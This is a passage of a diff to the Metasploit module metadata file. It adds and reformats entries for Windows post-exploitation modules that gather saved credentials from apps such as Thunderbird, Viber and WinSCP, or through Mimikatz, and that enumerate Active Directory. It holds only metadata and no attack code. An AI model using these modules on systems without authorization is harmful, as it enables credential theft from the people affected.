"crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/sso": { "name": "Windows Single Sign On Credential Collector (Mimikatz)", "fullname": "post/windows/gather/credentials/sso", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273874,16 +275595,14 @@ "Ben Campbell " ], "description": "This module will collect cleartext Single Sign On credentials from the Local\n Security Authority using the Kiwi (Mimikatz) extension. Blank passwords will not be stored\n in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/sso.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/sso", @@ -273891,21 +275610,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/steam": { "name": "Windows Gather Steam Client Session Collector.", "fullname": "post/windows/gather/credentials/steam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273913,16 +275633,14 @@ "Nikolai Rusakov " ], "description": "This module will collect Steam session information from an\n account set to autologin.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/steam.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/steam", @@ -273930,21 +275648,105 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/sylpheed": { + "name": "Sylpheed Email Credential Gatherer", + "fullname": "post/windows/gather/credentials/sylpheed", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Jacob Tierney", + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for credentials stored on Sylpheed email client on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/sylpheed.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/sylpheed", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/tango": { + "name": "Tango Credential Gatherer", + "fullname": "post/windows/gather/credentials/tango", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Tango credentials on a Windows host. Tango is a third-party, cross platform messaging application software for smartphones developed by TangoME, Inc.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/tango.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/tango", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/teamviewer_passwords": { "name": "Windows Gather TeamViewer Passwords", "fullname": "post/windows/gather/credentials/teamviewer_passwords", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273964,7 +275766,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-10-27 12:46:15 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/teamviewer_passwords.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/teamviewer_passwords", @@ -273972,21 +275774,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/thunderbird": { + "name": "Thunderbird Credential Gatherer", + "fullname": "post/windows/gather/credentials/thunderbird", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Thunderbird credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/thunderbird.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/thunderbird", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/thycotic_secretserver_dump": { "name": "Delinea Thycotic Secret Server Dump", "fullname": "post/windows/gather/credentials/thycotic_secretserver_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-08-15", "type": "post", @@ -274036,12 +275880,51 @@ } ] }, + "post_windows/gather/credentials/tlen": { + "name": "Tlen Credential Gatherer", + "fullname": "post/windows/gather/credentials/tlen", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Tlen credentials on a Windows host. Tlen is a free Polish instant messaging service.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/tlen.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/tlen", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, "post_windows/gather/credentials/tortoisesvn": { "name": "Windows Gather TortoiseSVN Saved Password Extraction", "fullname": "post/windows/gather/credentials/tortoisesvn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274049,16 +275932,14 @@ "Justin Cacak" ], "description": "This module extracts and decrypts saved TortoiseSVN passwords. In\n order for decryption to be successful this module must be executed\n under the same privileges as the user which originally encrypted the\n password.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/tortoisesvn.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/tortoisesvn", @@ -274066,21 +275947,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/total_commander": { "name": "Windows Gather Total Commander Saved Password Extraction", "fullname": "post/windows/gather/credentials/total_commander", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274088,16 +275970,14 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved FTP Passwords from Total Commander.\n It finds saved FTP connections in the wcx_ftp.ini file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/total_commander.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/total_commander", @@ -274105,21 +275985,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/trillian": { "name": "Windows Gather Trillian Password Extractor", "fullname": "post/windows/gather/credentials/trillian", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274128,16 +276009,14 @@ "Unknown" ], "description": "This module extracts account password from Trillian & Trillian Astra\n v4.x-5.x instant messenger.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/trillian.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/trillian", @@ -274145,21 +276024,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/veeam_credential_dump": { "name": "Veeam Backup and Replication Credentials Dump", "fullname": "post/windows/gather/credentials/veeam_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-11-22", "type": "post", @@ -274213,12 +276093,51 @@ } ] }, + "post_windows/gather/credentials/viber": { + "name": "Viber Credential Gatherer", + "fullname": "post/windows/gather/credentials/viber", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for credentials in Viber desktop application on a Windows host. Viber is a cross-platform voice over IP and instant messaging software application.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/viber.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/viber", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, "post_windows/gather/credentials/vnc": { "name": "Windows Gather VNC Password Extraction", "fullname": "post/windows/gather/credentials/vnc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274227,16 +276146,14 @@ "mubix " ], "description": "This module extract DES encrypted passwords in known VNC locations", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/vnc.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/vnc", @@ -274244,21 +276161,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/whatsupgold_credential_dump": { "name": "WhatsUp Gold Credentials Dump", "fullname": "post/windows/gather/credentials/whatsupgold_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-11-22", "type": "post", @@ -274324,9 +276242,7 @@ "post_windows/gather/credentials/winbox_settings": { "name": "Windows Gather Mikrotik Winbox \"Keep Password\" Credentials Extractor", "fullname": "post/windows/gather/credentials/winbox_settings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274334,9 +276250,7 @@ "Pasquale 'sid' Fiorillo" ], "description": "This module extracts Mikrotik Winbox credentials saved in the\n \"settings.cfg.viw\" file when the \"Keep Password\" option is\n selected in Winbox.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274357,9 +276271,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -274367,16 +276279,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/windows_autologin": { "name": "Windows Gather AutoLogin User Credential Extractor", "fullname": "post/windows/gather/credentials/windows_autologin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274394,7 +276302,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/windows_autologin.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/windows_autologin", @@ -274402,21 +276310,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/windows_sam_hivenightmare": { "name": "Windows SAM secrets leak - HiveNightmare", "fullname": "post/windows/gather/credentials/windows_sam_hivenightmare", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-07-20", "type": "post", @@ -274450,12 +276359,8 @@ "HiveNightmare", "SeriousSAM" ], - "Reliability": [ - - ], - "SideEffects": [ - - ], + "Reliability": [], + "SideEffects": [], "Stability": [ "crash-safe" ] @@ -274464,16 +276369,53 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/windowslivemail": { + "name": "Windows Live Mail Credential Gatherer", + "fullname": "post/windows/gather/credentials/windowslivemail", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Windows Live Mail credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/windowslivemail.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/windowslivemail", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/winscp": { "name": "Windows Gather WinSCP Saved Password Extraction", "fullname": "post/windows/gather/credentials/winscp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274481,16 +276423,14 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved passwords from\n WinSCP. It searches for saved sessions in the Windows Registry\n and the WinSCP.ini file. It cannot decrypt passwords if a master\n password is used.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/winscp.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/winscp", @@ -274498,21 +276438,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/wsftp_client": { "name": "Windows Gather WS_FTP Saved Password Extraction", "fullname": "post/windows/gather/credentials/wsftp_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274520,16 +276461,14 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved FTP Passwords\n from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/wsftp_client.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/wsftp_client", @@ -274537,21 +276476,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/xchat": { + "name": "XChat Credential Gatherer", + "fullname": "post/windows/gather/credentials/xchat", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for XChat credentials on a Windows host. XChat is an IRC chat program for both Linux and Windows.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/xchat.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/xchat", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/xshell_xftp_password": { "name": "Windows Gather Xshell and Xftp Passwords", "fullname": "post/windows/gather/credentials/xshell_xftp_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274582,24 +276563,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/dnscache_dump": { "name": "Windows Gather DNS Cache", "fullname": "post/windows/gather/dnscache_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274607,16 +276582,14 @@ "Borja Merino " ], "description": "This module displays the records stored in the DNS cache.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/dnscache_dump.rb", "is_install_path": true, "ref_name": "windows/gather/dnscache_dump", @@ -274624,21 +276597,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/dumplinks": { "name": "Windows Gather Dump Recent Files lnk Info", "fullname": "post/windows/gather/dumplinks", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274646,16 +276620,14 @@ "davehull " ], "description": "The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.\n This module will parse .lnk files from a user's Recent Documents folder\n and Microsoft Office's Recent Documents folder, if present.\n Windows creates these link files automatically for many common file types.\n The .lnk files contain time stamps, file locations, including share\n names, volume serial numbers, and more.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/dumplinks.rb", "is_install_path": true, "ref_name": "windows/gather/dumplinks", @@ -274663,21 +276635,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_bitlocker": { "name": "Windows Gather Active Directory BitLocker Recovery", "fullname": "post/windows/gather/enum_ad_bitlocker", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274694,7 +276667,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_bitlocker.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_bitlocker", @@ -274702,21 +276675,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_computers": { "name": "Windows Gather Active Directory Computers", "fullname": "post/windows/gather/enum_ad_computers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274733,7 +276707,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_computers.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_computers", @@ -274741,21 +276715,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_groups": { "name": "Windows Gather Active Directory Groups", "fullname": "post/windows/gather/enum_ad_groups", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274763,16 +276738,14 @@ "Stuart Morgan " ], "description": "This module will enumerate AD groups on the specified domain.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-05 20:15:14 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_groups.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_groups", @@ -274780,21 +276753,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_managedby_groups": { "name": "Windows Gather Active Directory Managed Groups", "fullname": "post/windows/gather/enum_ad_managedby_groups", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274802,16 +276776,14 @@ "Stuart Morgan " ], "description": "This module will enumerate AD groups on the specified domain which are specifically managed.\n It cannot at the moment identify whether the 'Manager can update membership list' option\n option set; if so, it would allow that member to update the contents of that group. This\n could either be used as a persistence mechanism (for example, set your user as the 'Domain\n Admins' group manager) or could be used to detect privilege escalation opportunities\n without having domain admin privileges.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_managedby_groups.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_managedby_groups", @@ -274819,21 +276791,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_service_principal_names": { "name": "Windows Gather Active Directory Service Principal Names", "fullname": "post/windows/gather/enum_ad_service_principal_names", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274851,7 +276824,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_service_principal_names.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_service_principal_names", @@ -274859,21 +276832,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_to_wordlist": { "name": "Windows Active Directory Wordlist Builder", "fullname": "post/windows/gather/enum_ad_to_wordlist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274881,16 +276855,14 @@ "Thomas Ring" ], "description": "This module will gather information from the default Active Domain (AD) directory\n and use these words to seed a wordlist. By default it enumerates user accounts to\n build the wordlist.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_to_wordlist.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_to_wordlist", @@ -274898,21 +276870,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_user_comments": { "name": "Windows Gather Active Directory User Comments", "fullname": "post/windows/gather/enum_ad_user_comments", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274929,7 +276902,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_user_comments.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_user_comments", @@ -274937,21 +276910,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_users": { "name": "Windows Gather Active Directory Users", "fullname": "post/windows/gather/enum_ad_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274961,16 +276935,14 @@ "Stuart Morgan " ], "description": "This module will enumerate user accounts in the default Active Domain (AD) directory and stores\n them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of\n that group by performing a recursive/nested search (i.e. it will list users who are members of\n groups that are members of groups that are members of groups (etc) which eventually include the\n target group DN.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-05 20:15:14 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_ad_users.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ad_users", @@ -274978,21 +276950,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_applications": { "name": "Windows Gather Installed Application Enumeration", "fullname": "post/windows/gather/enum_applications", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275000,16 +276973,14 @@ "Carlos Perez " ], "description": "This module will enumerate all installed applications on a Windows system", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_applications.rb", "is_install_path": true, "ref_name": "windows/gather/enum_applications", @@ -275017,21 +276988,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_artifacts": { "name": "Windows Gather File and Registry Artifacts Enumeration", "fullname": "post/windows/gather/enum_artifacts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275039,9 +277011,7 @@ "averagesecurityguy " ], "description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275059,12 +277029,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -275072,16 +277038,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_av": { "name": "Windows Installed AntiVirus Enumeration", "fullname": 